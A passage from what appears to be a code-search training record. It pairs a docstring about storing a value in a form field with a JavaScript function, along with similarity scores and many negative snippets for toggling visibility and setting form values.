!toggles.length)\n continue;\n \n var op = toBeToggled[i][0]; // what the operation will be\n \n switch (op)\n {\n case \"_reset\":\n for (var j in toggles)\n toggles[j].style.display = toggles[j]._toggle_original_display;\n break;\n case \"_show\":\n for (var j in toggles)\n toggles[j].style.display = '';\n break;\n case \"_hide\":\n for (var j in toggles)\n toggles[j].style.display = 'none';\n break;\n case \"\":\n default:\n // Toggle\n for (var j in toggles)\n toggles[j].style.display = ((toggles[j].style.display == 'none') ? '' : 'none');\n break;\n }\n }\n}", "function toggler(id)\n{\n var toBeToggled = togglers[id];\n if (!toBeToggled)\n return;\n \n // if some element is in list more than once, it will be toggled multiple times\n for (var i = 0; i < toBeToggled.length; i++)\n {\n // get array of elements to operate on\n var toggles = toBeToggled[i][1];\n if (typeof(toggles) == \"string\")\n {\n if (toggles.charAt(0) == '-')\n {\n // treat as an element ID, not as class\n toggles = document.getElementById(toggles.substring(1));\n if (toggles)\n toggles = new Array(toggles);\n }\n else\n toggles = allClasses[toggles];\n }\n if (!toggles || !toggles.length)\n continue;\n \n var op = toBeToggled[i][0]; // what the operation will be\n \n switch (op)\n {\n case \"_reset\":\n for (var j in toggles)\n toggles[j].style.display = toggles[j]._toggle_original_display;\n break;\n case \"_show\":\n for (var j in toggles)\n toggles[j].style.display = '';\n break;\n case \"_hide\":\n for (var j in toggles)\n toggles[j].style.display = 'none';\n break;\n case \"\":\n default:\n // Toggle\n for (var j in toggles)\n toggles[j].style.display = ((toggles[j].style.display == 'none') ? '' : 'none');\n break;\n }\n }\n}", "function toggler(id)\n{\n var toBeToggled = togglers[id];\n if (!toBeToggled)\n return;\n \n // if some element is in list more than once, it will be toggled multiple times\n for (var i = 0; i < toBeToggled.length; i++)\n {\n // get array of elements to operate on\n var toggles = toBeToggled[i][1];\n if (typeof(toggles) == \"string\")\n {\n if (toggles.charAt(0) == '-')\n {\n // treat as an element ID, not as class\n toggles = document.getElementById(toggles.substring(1));\n if (toggles)\n toggles = new Array(toggles);\n }\n else\n toggles = allClasses[toggles];\n }\n if (!toggles || !toggles.length)\n continue;\n \n var op = toBeToggled[i][0]; // what the operation will be\n \n switch (op)\n {\n case \"_reset\":\n for (var j in toggles)\n toggles[j].style.display = toggles[j]._toggle_original_display;\n break;\n case \"_show\":\n for (var j in toggles)\n toggles[j].style.display = '';\n break;\n case \"_hide\":\n for (var j in toggles)\n toggles[j].style.display = 'none';\n break;\n case \"\":\n default:\n // Toggle\n for (var j in toggles)\n toggles[j].style.display = ((toggles[j].style.display == 'none') ? '' : 'none');\n break;\n }\n }\n}", "function toggler(id)\n{\n var toBeToggled = togglers[id];\n if (!toBeToggled)\n return;\n \n // if some element is in list more than once, it will be toggled multiple times\n for (var i = 0; i < toBeToggled.length; i++)\n {\n // get array of elements to operate on\n var toggles = toBeToggled[i][1];\n if (typeof(toggles) == \"string\")\n {\n if (toggles.charAt(0) == '-')\n {\n // treat as an element ID, not as class\n toggles = document.getElementById(toggles.substring(1));\n if (toggles)\n toggles = new Array(toggles);\n }\n else\n toggles = allClasses[toggles];\n }\n if (!toggles || !toggles.length)\n continue;\n \n var op = toBeToggled[i][0]; // what the operation will be\n \n switch (op)\n {\n case \"_reset\":\n for (var j in toggles)\n toggles[j].style.display = toggles[j]._toggle_original_display;\n break;\n case \"_show\":\n for (var j in toggles)\n toggles[j].style.display = '';\n break;\n case \"_hide\":\n for (var j in toggles)\n toggles[j].style.display = 'none';\n break;\n case \"\":\n default:\n // Toggle\n for (var j in toggles)\n toggles[j].style.display = ((toggles[j].style.display == 'none') ? '' : 'none');\n break;\n }\n }\n}", "function toggler(id)\n{\n var toBeToggled = togglers[id];\n if (!toBeToggled)\n return;\n \n // if some element is in list more than once, it will be toggled multiple times\n for (var i = 0; i < toBeToggled.length; i++)\n {\n // get array of elements to operate on\n var toggles = toBeToggled[i][1];\n if (typeof(toggles) == \"string\")\n {\n if (toggles.charAt(0) == '-')\n {\n // treat as an element ID, not as class\n toggles = document.getElementById(toggles.substring(1));\n if (toggles)\n toggles = new Array(toggles);\n }\n else\n toggles = allClasses[toggles];\n }\n if (!toggles || !toggles.length)\n continue;\n \n var op = toBeToggled[i][0]; // what the operation will be\n \n switch (op)\n {\n case \"_reset\":\n for (var j in toggles)\n toggles[j].style.display = toggles[j]._toggle_original_display;\n break;\n case \"_show\":\n for (var j in toggles)\n toggles[j].style.display = '';\n break;\n case \"_hide\":\n for (var j in toggles)\n toggles[j].style.display = 'none';\n break;\n case \"\":\n default:\n // Toggle\n for (var j in toggles)\n toggles[j].style.display = ((toggles[j].style.display == 'none') ? '' : 'none');\n break;\n }\n }\n}", "toggle() {\n\t\tif (this.isVisible) {\n\t\t\tthis.display();\n\t\t} else {\n\t\t\tthis.hide();\n\t\t}\n\t}", "function toggle_elem(elemid) {\n\n // Check Current State of Overlay Objects...\n display = document.getElementById(\"overlay\").style.display\n\n if (display == \"none\") {\n // Make Visible\n document.getElementById(\"overlay\").style.display = \"block\";\n document.getElementById(elemid).style.display = \"block\";\n document.getElementById(elemid).style.visibility = \"visible\";\n } else if (display == \"block\") {\n // Make Hidden\n document.getElementById(\"overlay\").style.display = \"none\";\n var els = document.getElementsByClassName(\"overlay\");\n\n // `About` Overlay and any others that are created; clears overlays\n Array.prototype.forEach.call(els, function(el) {\n el.style.visibility = \"none\"\n el.style.display = \"none\"\n });\n }\n}", "function SwitchVisible(eID)\n{\n\tvar el = document.getElementById(eID);\n\n\tif(el)\n\t{\n\t if(el.style.display == 'none')\n\t el.style.display = '';\n\t else\n\t el.style.display = 'none'; \n\t}\n}", "function display(element) {\r\n let x;\r\n x = document.getElementById(element);\r\n if (x.hidden === true) {\r\n x.hidden = false\r\n } else {\r\n x.hidden = true\r\n }\r\n}", "function show(state, id) {\n if (state) document.getElementById(id).classList.remove(\"d-none\");\n else document.getElementById(id).classList.add(\"d-none\");\n}", "function show(id, value) {\n document.getElementById(id).style.display = value ? 'block' : 'none';\n}", "function hideShowDiv(id) {\n var e = document.getElementById(id);\n if(e.style.display == 'block')\n e.style.display = 'none';\n else\n e.style.display = 'block';\n}", "function toggle_visibility_grid(id) {\n var element = document.getElementById(id);\n\n if (element.style.display === \"grid\") {\n element.style.display = \"none\";\n } else {\n element.style.display = \"grid\";\n }\n}", "function toggle(divId) {\n var Id = divId;\n if (document.layers) {\n if (document.layers[Id].visibility == \"hide\") {\n show(Id);\n return;\n }\n else if (document.layers[Id].visibility == \"show\") {\n hide(Id);\n return;\n }\n }\n if (document.all) {\n if (document.all[Id].style.display == \"none\") {\n show(Id);\n return;\n }\n else if (document.all[Id].style.display == \"inline\") {\n hide(Id);\n return;\n }\n }\n else if (document.getElementById) {\n if (document.getElementById(Id).style.display == \"none\") {\n show(Id);\n return;\n }\n else if (document.getElementById(Id).style.display == \"inline\") {\n hide(Id);\n return;\n }\n }\n}", "function setVisibilityById(id, visibility) {\n if (document.getElementById(id) != null) {\n if (visibility) {\n document.getElementById(id).style.visibility = 'visible';\n } else {\n document.getElementById(id).style.visibility = 'hidden';\n }\n }\n}" ]
[ "0.86029845", "0.8337545", "0.8096944", "0.796574", "0.7954592", "0.7947267", "0.7863009", "0.78467417", "0.7840088", "0.78089607", "0.7757312", "0.77533346", "0.7750021", "0.7734633", "0.772423", "0.7722727", "0.7668372", "0.76342297", "0.76138604", "0.7602432", "0.7591156", "0.758036", "0.7552996", "0.7493508", "0.7372142", "0.7360134", "0.7340456", "0.73119956", "0.7306128", "0.7284882", "0.7275544", "0.72572374", "0.7252861", "0.7242254", "0.7231298", "0.7186741", "0.7173693", "0.7168503", "0.7165547", "0.7158342", "0.714815", "0.714426", "0.71309096", "0.71279883", "0.70885694", "0.70778763", "0.7073015", "0.7057016", "0.7043208", "0.7036662", "0.7012167", "0.7007241", "0.6995732", "0.69945705", "0.6982024", "0.6979591", "0.6955921", "0.69556963", "0.6944639", "0.6936375", "0.6926008", "0.6919964", "0.6918976", "0.69061726", "0.68763715", "0.68709356", "0.6869497", "0.6867303", "0.68613136", "0.68383", "0.68333834", "0.6831203", "0.6829032", "0.68123144", "0.6806892", "0.6788939", "0.678695", "0.67799115", "0.67570007", "0.67555773", "0.67405295", "0.67405295", "0.6734736", "0.67328775", "0.67184985", "0.6717593", "0.6717593", "0.6717593", "0.6717593", "0.6717593", "0.67088914", "0.67063934", "0.67045695", "0.6688009", "0.668259", "0.6665446", "0.6665418", "0.66633505", "0.66595054", "0.6651088" ]
0.70492166
48
This method stores the specified value in the specified field of the specified form.
function StoreParm(myName, myValue, formID) { // Find the form. var myForm = document.getElementById(formID); // Find the field. var myElement = myForm.elements[myName]; // Store the value. myElement.value = myValue; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function SetFieldValue( name, newValue, form, createIfNotFound)\n{\n var field = GetFieldNamed( name, form, createIfNotFound);\n\n if(field != undefined)\n field.value = newValue;\n}", "function setFormFieldValue(formFieldName, formFieldValue) {\n formFieldName.value = formFieldValue;\n}", "setFieldValue({ name, value }) {\n this.fields[name].value = value;\n }", "function set_form_field(field) {\n\n\tchrome.storage.local.get(field, function(items) {\n\t if (items[field]) {\n\t \tdocument.getElementById(field).value = items[field];\n\t }\n\t});\n\t\n\n}", "function setFormValue(field, value){\r\n\tvar i=0;\r\n\tif (field.type == \"select-one\"){\r\n\t\tfor(i=0; i< field.options.length; i++){\r\n\t\t\tif (field.options[i].text == value)\r\n\t\t\t\tfield.options[i].selected=true;\r\n\t\t\telse field.options[i],selected=false;\r\n\t\t}//for\r\n\t} else if (field.type == \"checkbox\"){\r\n\t\tif ((value == \"1\") || (value == \"true\"))\r\n\t\t\tfield.checked=true;\r\n\t}else{\r\n\t\tfield.value=value;\r\n\t}\r\n}", "function setFormValue(field, value){\r\n\tvar i=0;\r\n\tif (field.type == \"select-one\"){\r\n\t\tfor(i=0; i< field.options.length; i++){\r\n\t\t\tif (field.options[i].text == value)\r\n\t\t\t\tfield.options[i].selected=true;\r\n\t\t\telse field.options[i],selected=false;\r\n\t\t}//for\r\n\t} else if (field.type == \"checkbox\"){\r\n\t\tif ((value == \"1\") || (value == \"true\"))\r\n\t\t\tfield.checked=true;\r\n\t}else{\r\n\t\tfield.value=value;\r\n\t}\r\n}", "function setter(inputId, inputName, value, formId) {\n\t\t\t// check if input field already exist and change its value\n\t\t\tvar $input = $('#' + inputId);\n\t\t\tif ($input.length) {\n\t\t\t\t$input.val(value);\n\t\t\t}\n\t\t\t// else create input element and set the value\n\t\t\telse {\n\t\t\t\t\tvar inputField = '<input name=\"' + inputName + '\" id=\"' + inputId + '\" type=\"hidden\" value=\"' + value + '\" />';\n\t\t\t\t\t$('#' + formId).append(inputField);\n\t\t\t\t}\n\t\t}", "function setWidgetValue($field, value) {\n //console.log(\"records to be set in multifields: \", $field, value);\n\n if (_.isEmpty($field)) {\n return;\n }\n \n if (cmf.isSelectOne($field)) {\n cmf.setSelectOne($field, value);\n } else if (cmf.isCheckbox($field)) {\n cmf.setCheckBox($field, value);\n } else if (isImage($field)) {\n setImageField($field, value);\n }else {\n $field.val(value);\n }\n }", "updateFormFieldInState(formField, value) {\n\n }", "updateToStore() {\r\n if (this.props.formSetValue)\r\n this.props.formSetValue(this.props.inputProps.name, this.fieldStatus.value, this.fieldStatus.valid, this.fieldStatus.dirty, this.fieldStatus.visited);\r\n }", "updateToStore() {\r\n if (this.props.formSetValue)\r\n this.props.formSetValue(this.props.inputProps.name, this.fieldStatus.value, this.fieldStatus.valid, this.fieldStatus.dirty, this.fieldStatus.visited);\r\n }", "setValue(key, value) {\n \n if(key == 'Wildunfall' || key == 'Unfallaufgenommen'){\n if(value){\n value = 'Ja';\n }else{\n value = 'Nein';\n }\n }\n this.form[key] = value;\n if (this.isValid())\n this._submit.classList.remove('button--disabled');\n }", "function save_form_field(field) {\n\n\tvar obj= {};\n\tobj[field] = document.getElementById(field).value;\n\tif (obj[field].length > 0) {\n\t\tchrome.storage.local.set(obj, function () {console.log(\"saved \" + field + \"/ value = \" + document.getElementById(field).value);});\n\t}\n\n}", "setFormValueByTab(tab, name, value) {\n this.setOtherTabData(tab, \"formValue\", name, value)\n }", "function populateField(field_value, field_id){\n\tdocument.getElementById(field_id).value = field_value;\n}", "setFormValue(value, state) {\n if (this.elementInternals) {\n this.elementInternals.setFormValue(value, state || value);\n }\n }", "function setInputFormField(fieldName, value, formIndex, fireOnchange) {\r\n var inputField = getObject(fieldName);\r\n\r\n if(isUndefined(inputField)) {\r\n formIndex = formIndex ? formIndex : 0;\r\n inputField = addInputFormField(fieldName, formIndex);\r\n }\r\n setObjectValue(inputField, value, fireOnchange);\r\n return inputField;\r\n}", "function putValueToForm() {\r\n\r\n localStorValues3 = localStorage.getItem(localStorage.key(event.target.id));\r\n\r\n NlistOfLSvalues = JSON.parse(localStorValues3);\r\n\r\n myRef =\r\n event.target.parentElement.previousElementSibling.previousElementSibling\r\n .previousElementSibling.previousElementSibling.previousElementSibling\r\n .previousElementSibling.innerText;\r\n removeAfromNameProduct =\r\n event.target.parentElement.previousElementSibling.previousElementSibling\r\n .previousElementSibling.previousElementSibling.previousElementSibling\r\n .innerText;\r\n myDescription =\r\n event.target.parentElement.previousElementSibling.previousElementSibling\r\n .previousElementSibling.previousElementSibling.innerText;\r\n myPrice =\r\n event.target.parentElement.previousElementSibling.previousElementSibling\r\n .previousElementSibling.innerText;\r\n myStock =\r\n event.target.parentElement.previousElementSibling.previousElementSibling\r\n .innerText;\r\n\r\n key.value = event.target.id;\r\n ref.value = myRef;\r\n nameProduct.value = removeAfromNameProduct;\r\n descriptionProduct.value = myDescription;\r\n price.value = myPrice;\r\n stock.value = myStock;\r\n}", "setValue(val) {\n this.binder.fieldValue = val;\n }", "setValue(val) {\n this.binder.fieldValue = val;\n }", "setValue(val) {\n this.binder.fieldValue = val;\n }", "setUserData(field, value) {\r\n\r\n // Get all user data\r\n var userData = this.getUserData()\r\n\r\n // Set new field\r\n userData[field] = value\r\n\r\n // Update entity\r\n Entities.editEntity(this.id, JSON.stringify(userData))\r\n\r\n }", "function setField(question, value)\n{\n var questionId = question.attr('id').split('-')[1];\n var valid = question.attr('required');\n valid = (valid && value) || !valid;\n validFields[questionId-1] = valid;\n verifyForm();\n}", "@action\n saveField(id, currentValue) {\n const oldValue = this.initialData[id];\n const savePromise = this.saveFieldRequest(id, currentValue);\n\n if (!savePromise) {\n return null;\n }\n\n return savePromise\n .then((resp) => {\n const newValue = this.getValue(id);\n const change = {old: oldValue, new: newValue};\n\n // Only use `allowUndo` option if explicity defined\n if (typeof this.options.allowUndo === 'undefined' || this.options.allowUndo) {\n saveOnBlurUndoMessage(change, this, id);\n }\n\n if (this.options.onSubmitSuccess) {\n this.options.onSubmitSuccess(resp, this, id, change);\n }\n\n return resp;\n })\n .catch((error) => {\n if (this.options.onSubmitError) {\n this.options.onSubmitError(error, this, id);\n }\n return {};\n });\n }", "function setFieldValue(fieldName, checkValue, setValue)\r\n{\r\n\t//declare var\r\n\tvar fieldName\t= fieldName;\r\n\t\r\n\tif( document.getElementById(fieldName).value == checkValue)\r\n\t{\r\n\t\tdocument.getElementById(fieldName).value \t\t= setValue;\r\n\t}\r\n\t\r\n}", "function setsContextValue(field, value) { }", "function storeForm() {\n /*jshint validthis:true */\n var form = $(this);\n var formId = form[0].id;\n if (!formId) return;\n var formJSON = app.formToJSON(form);\n if (!formJSON) return;\n app.formStoreData(formId, formJSON);\n form.trigger('store', {\n data: formJSON\n });\n }", "function storeForm() {\n\t /*jshint validthis:true */\n\t var form = $(this);\n\t var formId = form[0].id;\n\t if (!formId) return;\n\t var formJSON = app.formToData(form);\n\t if (!formJSON) return;\n\t app.formStoreData(formId, formJSON);\n\t form.trigger('store form:storedata', {data: formJSON});\n\t }", "function storeForm() {\n /*jshint validthis:true */\n var form = $(this);\n var formId = form[0].id;\n if (!formId) return;\n var formJSON = app.formToJSON(form);\n if (!formJSON) return;\n app.formStoreData(formId, formJSON);\n form.trigger('store', {data: formJSON});\n }", "function storeForm() {\n /*jshint validthis:true */\n var form = $(this);\n var formId = form[0].id;\n if (!formId) return;\n var formJSON = app.formToData(form);\n if (!formJSON) return;\n app.formStoreData(formId, formJSON);\n form.trigger('store form:storedata', {data: formJSON});\n }", "function savefield(fieldName) {\r\n\t var value = document.getElementById(fieldName).value;\r\n\t localStorage.setItem(fieldName, value);\r\n\t}", "setValue(val) {\n $(this._element).find('input').val(val);\n $(this._element).find('p').html(val);\n }", "function inject(field, value) {\n document.getElementById(field).value = value;\n}", "function UpdateFormFieldValue(id, newValue) {\n var elementOnForm = document.getElementById(id);\n if (elementOnForm && elementOnForm.value !== undefined) {\n elementOnForm.value = newValue;\n }\n else {\n console.log(`Could not field id '${id}' to update value\\n${newValue}`);\n }\n}", "@action\n handleSaveField(id, currentValue) {\n const savePromise = this.saveField(id, currentValue);\n\n if (!savePromise) {\n return null;\n }\n\n return savePromise.then(() => {\n this.setFieldState(id, 'showSave', false);\n });\n }", "set tramite(valor)\r\n\t{\t\t\r\n\t\t$('#idFormularioInput').val(valor.id);\r\n\t\t$('#nombreTramiteFormularioInput').val(valor.nombreTramite);\t\t\r\n\t}", "function value(form, inputField) {\n\tvar getInput = form.find(inputField);\n\treturn getInput.val();\n}", "function replaceForms(value, key){\n const el = document.getElementById(key);\n el.value = value;\n}", "function appendForm(target,value){\n setFormObjects({\n ...FormObjects,\n [target]: value\n })\n setChanges(true)\n }", "fillForm(fSalut) {\n this.salutationForm.setValue({\n firstname: fSalut.firstname,\n gender: fSalut.gender,\n // language: fSalut.language,\n language: this.convertLanguage(fSalut.language),\n lastname: fSalut.lastname,\n letterSalutation: fSalut.letterSalutation,\n salutation: fSalut.salutation,\n salutationTitle: fSalut.salutationTitle,\n title: fSalut.title,\n });\n }", "function saveElementSeedForm() {\n var elementType = elementSeedForms[elementSeedIndex][\"element\"];\n var formEntries = document.getElementById(\"custom-inputs\").getElementsByClassName(\"custom-input\");\n for (var i = 0; i < formEntries.length; i++) {\n var input = formEntries.item(i);\n var fieldName = input.id;\n elementSeedForms[elementSeedIndex][\"json\"][\"fields\"][fieldName][\"value\"] = input.value;\n }\n}", "function DfoSetFieldText(/**string*/ field, /**string*/ text)\r\n{\r\n\tvar xpath = \"//label[text()='\" + field + \"']/../input[contains(@id,'Form')]\";\r\n\tvar obj = DfoFindObject(xpath);\r\n\t\r\n\tif (!obj)\r\n\t{\r\n\t\tLogAssert(\"DfoSetFieldText: field not found: \" + field);\r\n\t\treturn;\r\n\t}\r\n\t\r\n\tobj.object_name = field;\r\n\tobj.DoClick();\r\n\tobj.DoSetText(text);\r\n\tobj.DoSendKeys(\"{TAB}\");\r\n}", "function setFieldValue2(checkValue, setValue)\r\n{\r\n\t//declare var\r\n\tvar fieldName\t= fieldName;\r\n\t\t\r\n\tif( document.formContact.txtContMesg.innerHTML == checkValue)\r\n\t{\r\n\t\tdocument.formContact.txtContMesg.innerHTML = setValue;\r\n\t}\r\n\t\r\n}", "function saveAnomalyForm() {\n var anomalyType = anomalyForms[anomalyIndex][\"anomaly\"];\n var formEntries = document.getElementById(\"custom-inputs\").getElementsByClassName(\"custom-input\");\n for (var i = 0; i < formEntries.length; i++) {\n var input = formEntries.item(i);\n var fieldName = input.id;\n anomalyForms[anomalyIndex][\"json\"][\"fields\"][fieldName][\"value\"] = input.value;\n }\n}", "handleInputFieldChange(event) {\n this.formFields[event.target.id] = event.target.value;\n }", "function setInputFieldValue(fieldId,fieldValue)\n{\n\tvar field = getInputField(fieldId);\n\t\n\t// field not found\n\tif (field==null)\n\t{\n\t\treturn '';\n\t}\n\t\n\tif (field.value != null)\n\t{\n\t\tfield.value = fieldValue;\n\t\t\n\t\t// y/n\n\t\tsetFieldValueYNO(fieldId,fieldValue);\n\t\tsetFieldValueS1B(fieldId,fieldValue);\n\t\t\n\t\treturn field.value;\n\t}\n\telse\n\t{\n\t\treturn null;\n\t}\n}", "setValue(value, {update=true} = {}) {\n let numpad = this.numpad.querySelector('.value')\n if (numpad) numpad.setAttribute('text', {value})\n this.el.setAttribute('text', {value})\n this.inputField.value = value\n if (update && this.data.target)\n {\n this.data.target.setAttribute(this.data.component, {[this.data.property]: value})\n }\n }", "function updateDisplayOnlyField(formName, fieldName, value) {\r\n document.getElementById(fieldName + \"_id\").innerHTML = value;\r\n eval(formName + \".\" + fieldName).value = value;\r\n}", "set fieldValue(val) {\n // only update on components with bindings\n if (this.fieldNode) {\n if ('value' in this.fieldNode) {\n this.fieldNode.value._value = val;\n } else {\n this.fieldNode._value = val;\n }\n }\n this._fieldValue = val;\n\n // update target. the target value of complex type should be updated in their input component self\n if (\n this.targetValueField !== 'value' ||\n (this.fieldFormat !== 'complex' && this.fieldFormat !== undefined)\n ) {\n this.target[this.targetValueField] = val;\n }\n }", "setValue(key, value) {\n var node = document.getElementById(key);\n if (node != null)\n node.value = value;\n }", "_set (field, value, valueOptions = {}) {\n if (this._values.length > 1) {\n throw new Error(\"Cannot set multiple rows of fields this way.\");\n }\n\n if (typeof value !== 'undefined') {\n value = this._sanitizeValue(value);\n }\n\n field = this._sanitizeField(field);\n\n // Explicity overwrite existing fields\n let index = this._fields.indexOf(field);\n\n // if field not defined before\n if (-1 === index) {\n this._fields.push(field);\n index = this._fields.length - 1;\n }\n\n this._values[0][index] = value;\n this._valueOptions[0][index] = valueOptions;\n }", "function writeValue($field, key, value) {\n if ($field.is('input')) { // Simple one-line textbox\n $field.val(value);\n } else if ($field.is('textarea')) { // Multi-line textbox, requires parsing\n if (key === 'samples') {\n $field.val(parseSamples(value));\n } else { // tags\n $field.val(parseArray(value));\n }\n } else if ($field.is('table')) { // Atmosphere 'Loops' or 'One-Shots' special field\n $field.html(parseAtmosphereChildren(value, key));\n }\n}", "set record(record) {\n this.form.record = record;\n }", "function checkFormField(formElement, fieldName, fieldValue){\n\tvar field = formElement.find(\"input[name='\" + fieldName + \"']\");\n\tif(!field.length){\n\t\t$('<input>').attr({\n\t\t type: 'hidden',\n\t\t name: fieldName,\n\t\t value: fieldValue\n\t\t}).appendTo(formElement);\n\t}else{\n\t\tfield.val(fieldValue);\n\t}\n}", "function saveForm(event) {\n event.preventDefault();\n // console.log(propertyId + \" \" + form.address);\n api.saveProperty(propertyId, {address: form.address})\n .then(\n // console.log(res)\n loadForm(propertyId)\n )\n .catch(err => console.log(err));\n}", "function handleFormFieldChange(event) {\n const value = event.target.value\n const fieldName = event.target.name\n\n const updatedLocation = { ...newLocation, [fieldName]: value }\n\n setNewLocation(updatedLocation)\n }", "handleInputFieldChange(event) {\n this.formFields[event.target.name] = event.target.value;\n }", "fillForm() {\n\n if (localStorage.getItem(\"lastname\") !== undefined)\n $(\"form\")[0].lastname.value = localStorage.getItem(\"lastname\");\n\n if (localStorage.getItem(\"firstname\") !== undefined)\n $(\"form\")[0].firstname.value = localStorage.getItem(\"firstname\");\n\n }", "function setFieldValue(eltName,theVal,fireEvent)\r\n{\r\n var theId = null;\r\n if(typeof(theVal) == \"string\") theVal = theVal;\r\n else if(typeof(theVal) == \"object\") \r\n {\r\n theId = theVal.id;\r\n theVal = theVal.value;\r\n }\r\n\r\n var theReturnObj = new Object();\r\n var theForm = this.formObj;\r\n var formElts = theForm.elements;\r\n \r\n for(var i = 0 ; i < formElts.length ; i++)\r\n {\r\n if(formElts[i].id == eltName)\r\n {\r\n \t curEltObj = formElts[i];\r\n if(!fireEvent)fireEvent = false;\r\n\t if(!curEltObj)\r\n\t {\r\n\t\t alert(\"ERROR : Form element [\"+eltName+\"] not found\")\r\n \t\t return;\r\n\t }\r\n \t var eltTag = curEltObj.tagName;\r\n \t var eltType = curEltObj.type;\r\n \t var eltName = curEltObj.name;\r\n \t var oldVal = null;\r\n if (eltTag == \"INPUT\" &&\r\n (eltType == \"text\" || eltType == \"hidden\" || eltType == \"password\"))\r\n\t {\r\n\t curEltObj.value = theVal;\r\n if(fireEvent)\r\n {\r\n curEltObj.onchange();\r\n }\r\n\t }\r\n\t else if (eltTag == \"INPUT\" && eltType == \"checkbox\")\r\n {\r\n oldVal = curEltObj.checked\r\n if(oldVal == eval(theVal))return;\r\n curEltObj.checked = eval(theVal);\r\n if(fireEvent)\r\n {\r\n curEltObj.onchange();\r\n }\r\n }\r\n\t else if (eltTag == \"INPUT\" && eltType == \"radio\")\r\n\t {\r\n\t var radioLst = eval(\"this.formObj.\"+eltName);\r\n\t var changed = false;\r\n\t for(var r = 0 ; r < radioLst.length ; r++)\r\n\t {\r\n\t if(radioLst[r].id == theVal && !radioLst[r].checked)\r\n\t {\r\n\t radioLst[r].checked = true;\r\n\t changed = true;\r\n\t break;\r\n\t }\r\n\t else\r\n\t { \r\n\t \tradioLst[r].checked = false;\r\n\t }\r\n\t }\r\n if(changed && fireEvent)\r\n \tcurEltObj.onchange();\r\n }\r\n else if (eltTag == \"TEXTAREA\")\r\n {\r\n //oldVal = curEltObj.innerText;\r\n oldVal = curEltObj.value;\r\n if(oldVal == theVal)return;\r\n //curEltObj.innerText = theVal\r\n curEltObj.value = theVal\r\n if(fireEvent)\r\n \tcurEltObj.onchange() ;\r\n }\r\n else if (eltTag == \"SELECT\")\r\n {\r\n if(curEltObj.selectedIndex == -1) oldVal = \"\";\r\n else oldVal = curEltObj.options[curEltObj.selectedIndex].getAttribute(\"value\");\r\n if(oldVal == theVal)return;\r\n if(theVal == \"\")\r\n {\r\n curEltObj.selectedIndex = -1;\r\n if(fireEvent)\r\n \tcurEltObj.onchange();\r\n return;\r\n }\r\n \r\n\t for (var i=0 ; i < curEltObj.options.length ; i++)\r\n\t {\r\n\t if (curEltObj.options[i].value == theVal)\r\n\t {\r\n\t curEltObj.options[i].selected = true;\r\n\t if(fireEvent)\r\n\t {\r\n\t curEltObj.onchange();\r\n\t }\r\n\t\t break;\r\n\t\t }\r\n\t\t}\r\n\t }\r\n return;\r\n\t}\r\n }\t\r\n}", "function putValueToBackendForm (formName, elementName, isCheckbox, testIfContentChanged) {\r\n\t\r\n\tvar test = false;\r\n\tif (testIfContentChanged != null) {\r\n\t\ttest = testIfContentChanged;\r\n\t}\r\n\t\r\n\tif (isCheckbox != null && isCheckbox == true) {\r\n\t\tif (test != true) {\r\n\t\t\tdocument.forms[\"CustomUiForm\"].elements[elementName].value \r\n\t\t\t\t\t= document.forms[formName].elements[elementName].checked;\r\n\t\t\t\t\t\r\n\t\t} else {\r\n\t\t\tif (document.forms[\"CustomUiForm\"].elements[elementName].value \r\n\t\t\t\t\t!= (document.forms[formName].elements[elementName].checked + \"\")) {\r\n\t\t\t\tthis.mainFormContentChanged = true;\r\n\t\t\t\t// alert(\"CustomUiForm.\" + elementName + \"='\" + document.forms[\"CustomUiForm\"].elements[elementName].value + \"' <-> \"\r\n\t\t\t\t//\t+ formName + \".\" + elementName + \"='\" + document.forms[formName].elements[elementName].checked + \"'\");\r\n\t\t\t}\r\n\t\t}\r\n\t} else {\r\n\t\tif (test != true) {\r\n\t\t\tdocument.forms[\"CustomUiForm\"].elements[elementName].value \r\n\t\t\t\t\t= document.forms[formName].elements[elementName].value;\r\n\t\t} else {\r\n\t\t\tif (document.forms[\"CustomUiForm\"].elements[elementName].value \r\n\t\t\t\t\t!= (document.forms[formName].elements[elementName].value)) {\r\n\t\t\t\tthis.mainFormContentChanged = true;\r\n\t\t\t\t// alert(\"CustomUiForm.\" + elementName + \"='\" + document.forms[\"CustomUiForm\"].elements[elementName].value + \"' <-> \"\r\n\t\t\t\t//\t+ formName + \".\" + elementName + \"='\" + document.forms[formName].elements[elementName].value + \"'\");\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\r\n}", "function changeValueOptionInForm(option) {\n\tvar select = $('.form-register select');\n\tif (select.length > 0) {\n\t\toption ? $(select).val(option) : $(select).val('');\n\t}\n}", "function setVal(id) {\n\t$('.hid-field').attr('value', id);\n}", "handleChange(evt) {\n const field = evt.target.dataset.fieldName;\n const value = evt.detail.value.trim();\n this.form[field] = value;\n }", "setValue(value) {\n this._value = value;\n }", "function saveform(name,phone,members,destination,pincode,date,medform1,medform2,medform3,duration,residents,summer,winter,rain,no_clothes,q1a,q1b,q2a,q2b\n ,q3a,q3b){\n var newForm = formref.push();\n newForm.set({\n name:name,\n phone:phone,\n members:members,\n destination:destination,\n pincode:pincode,\n date:date,\n medform1:medform1,\n medform2:medform2,\n medform3:medform3,\n duration:duration,\n residents:residents,\n summer:summer,\n winter:winter,\n rain:rain,\n no_clothes:no_clothes,\n q1a:q1a,\n q1b:q1b,\n q2a:q2a,\n q2b:q2b,\n q3a:q3a,\n q3b:q3b\n \n});\n}", "function addField(fieldName,value) {\n\tenv.log(\"setting field: \"+fieldName+\" value: \"+value);\n\tenv.addField(fieldName,value);\n}", "setValue(value) {\n this.value = value;\n }", "function setValueForField(field, values, value) {\n\n if (!values) {\n return '';\n }\n\n // First of all, split the field name into keys\n var path = []\n if (field.match(/.*\\]$/)) {\n path = field.replace(/\\]/g, \"\").split(\"[\");\n } else {\n path = [field];\n }\n\n //\n // Scope into the object to get the appropriate nested context\n //\n while (path.length > 1) {\n key = path.shift();\n if (!values[key] || typeof values[key] !== 'object') {\n values[key] = {};\n }\n values = values[key];\n }\n\n // Set the specified value in the nested JSON structure\n key = path.shift();\n values[key] = value;\n return true;\n\n}", "set value(value) {}", "handleChange(field, { target: { value } }) {\n const { offer } = this.state;\n offer[field] = value;\n this.setState({ offer });\n }", "function setValueInDateField(value) {\n input.val(value);\n return input.val();\n }", "function setFormInput(option, hiddenId, textId) {\n if ((option.id && option.id.length > 0)|| $(hiddenId).val().length > 0) {\n $(hiddenId).val(option.id);\n $(hiddenId).change();\n\n }\n if ((option.value && option.value.length > 0) || $(textId).val().length > 0) {\n 